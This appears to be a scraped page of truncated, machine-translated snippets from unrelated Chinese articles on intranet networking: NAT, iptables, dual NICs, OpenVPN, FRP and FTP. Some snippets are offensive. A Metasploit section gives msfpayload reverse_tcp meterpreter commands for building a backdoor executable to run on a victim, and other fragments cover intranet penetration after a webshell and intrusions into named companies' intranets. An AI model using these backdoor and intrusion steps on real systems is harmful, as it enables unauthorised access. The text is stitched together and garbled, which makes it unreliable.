Performance test of LAN switch interface in Flight Tower firewallUnited States flight Tower Fortinet Firewall, the default intranet interface type is hardware exchange, all intranet interfaces share a gateway, the intranet interface allows mutual access, here will be two notes A, B access to the 13, 14 ports to be tested. Notebook A's
The first step is to ensure that your intranet machine can smoothly connect to the Internet through the so-called proxy server. Here we will not talk much about it.
Let's look at this picture. As for how the proxy server with a public IP address (or the proxy gateway) connects to the Internet (also in the question mark), this is an ISP problem for individual users, I won't talk about it here.
This server has dual-nic, one set IP address is 61.134.36.5
Use Cases:
Network problems when using both wired and wireless Internet access in a notebook:
1. My environment is Intranet/Internet isolation.
2. Wired connection is an Intranet (LAN ).
3. Connect a wireless router that can access the Internet (generally Internet. 802.1.1
Problems:
If my local network connection and wireless network connection are enabled at the same time, I cannot access the Interne
The following describes how to perform the operation. Take my computer as an example to give a demonstration.
I also have two NICs, one is the Office intranet and the other is the Internet.Set the IP address to 192.168.1.111 and the gateway to 192.168.1.1.Nic connected to the Internet, IP: 192.168.0.111, and Gateway: 192.168.0.1In the command line, run the route print command to view the current default route table:The bottom row: Default Gateway: 1
Experiment name: Huawei Pat address translation, and intranet Web server publishingExperimental topology diagram:3. Purpose of the experiment:1. Transform the intranet through Pat to Sisu network2. Using static NAT for Port mapping, publishing a Web server3. Configure the Switch Telnet4. Address PlanningClient 1--web:192.168.1.2/24Gateway 192.168.1.254Client 2:192.168.1.1/24Gateway 192.168..1.254LSW1 Manage
Metasploit penetration test notes (intranet penetration)0x01 reverse the shellFile
Generally, msfpayloadis used to generate a backdoor.exe file and upload it to the target machine for execution. You can obtain the meterpreter shell by using a local listener.
reverse_tcp/http/https => exe => victim => shell
Reverse_tcp
Windows:
msfpayload windows/meterpreter/reverse_tcp LHOST=
Linux (x86)
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=
Reverse_h
Enterprise Intranet security status quo and problems
In modern enterprise informatization construction, the network architecture and scale will be constantly changing according to the enterprise's own business needs. At the same time as the completion of the basic network architecture, various application systems have also begun to be built. The network architecture and application systems are inseparable. When a project involving the entire enterpris
A vulnerability can cause direct letv Intranet attacks
Improper configuration direct execution of commands can endanger the entire intranet system. Because the IP address of this vulnerability is not bound to a domain name, that is, not * .letv.com, the public test is about domain names, sobug does not recognize this vulnerability because it does not contain domain names. Do you think this kind of hole sho
access the Internet.DNAT is used to come in from outsideSNAT eg:Iptables-t nat-I POSTROUTING-s 10.1.0.0/24-j SNAT -- to-source 192.168.0.5Map Intranet 10.1 fields to 192.168.0.5You can also do this:Iptables-t nat-I POSTROUTING-s 10.1.0.0/24-j SNAT -- to-source 192.168.0.5-192.168.0.245Map a local IP address to an IP address (attack can be performed ^)The same function in the preceding example: iptables-t nat-I POSTROUTING-s 10.1.0.0/24-j NETMAP -- to
In windows, use openvpn in linux to log on to the Intranet of the remote server, and use linuxopenvpn.
Requirement: in some environments with strict network requirements, we are unable to remotely access the company's Intranet in a remote location, which brings us great inconvenience. However, we can achieve it easily through openvpn, next we will introduce it.
Note: This experiment is performed when the fi
The following is my personal experience. If you make a mistake, please point it out .! Original Author: smiling assassin Www.OneTian.com
Intranet FTP setup-two FTP transmission modes
First, let's talk about the environment. The server is in the Intranet, and the external ing is, 85. There are 7 ports in total ,.!Among them, 21 is the FTPServer connection end, 80 is the IIS Web occupation, and 85 is the Ter
I encountered a little trouble in creating projects for mobile companies,
The Intranet and Internet of mobile devices are isolated. The Intranet can access the Internet, but the Internet cannot access the Intranet.
Our project (BS architecture) is mainly deployed on the Intranet, but some features of the project also
The company does not have fixed IP, need to test the third party asynchronous callback interface (third party server How to find the company intranet machine); Baidu Search for "intranet penetration" results are mostly peanut shells, but this article is sharing the free intranet penetration, the use of FRP tools. The text is CentOS7.4 as the FRP server end, Win7
Many companies or businesses put their Web servers in the intranet and map them on the firewall, turning requests from port 80 to a Web port on the intranet Web server.
This security is improved a lot, but does not mean that the Web server hidden in the intranet must be safe, because the Web server itself is still a lot of problems, especially some CG, programs,
MSSQL Intranet penetration
Environment: 2003 SERVER
IIS: 6.0 supports php
Databases: MSSQL and MYSQL
Website type: ASPX
This article focuses on the Intranet penetration elevation, which is not described for WEBSHELL.
Anyone who knows about intrusion penetration knows that after obtaining the webshell, the server must first find the vulnerability where the Elevation of Privilege is located.
From the perspect
What are Intranet, public network, NAT public network, and Intranet access methods of the Internet. Intranet access mode: the IP address obtained by the computer accessing the Internet is the reserved IP address on Inetnet. The reserved IP address can be in the following three forms: class A 10.0.0.0 8/GdIi4i Class B 172.16.0.0 -- 172.31.0.0 S {s si8} Class C 192
Company A accesses the Internet through ADSL, and the Intranet accesses the Internet through an ADSL Broadband Router sharing an ADSL cable.
With the development of Company A's business, the company needs to build A Web server for Internet access. The Web server mainly includes a company website, and is responsible for submitting daily orders and submitting business information of employees on business trips.
Add the company network after the Web se
For example, the domain name is free of charge when registering a peanut shell, because it is in the internal network, so the intranet version is used, set the intranet host, after Port ING, save, the Internet access address is automatically generated. How do I set an Internet access address without a port or port 80...
For example:
The domain name is free of charge when registering a peanut shell. because
One successful test of Sohu and sogou Intranet roaming0x01:
During the early tests on sohu network, a large number of sohu IP addresses were collected. For specific cases, refer to my previous cases. This is not the focus.
0x02:
Perform in-depth mining based on the collected ip addresses and obtain the following ip addresses:
220.181.61.204. Actually, it corresponds to the domain name app.m. TV .sohu.com (which was also confirmed later)
At that time,
DirectoryI.The target environment.1.1 Intranet network extension diagram and platform Introduction.1.2 purpose of Penetration Testing.1.3 content and scope of the penetration target.1.4 avoid risks.II. The intranet Penetration Process.2.1 Intranet breakthrough (Socket port forwarding and terminal connection ).2.2 system password acquisition, Hash cracking, and ma
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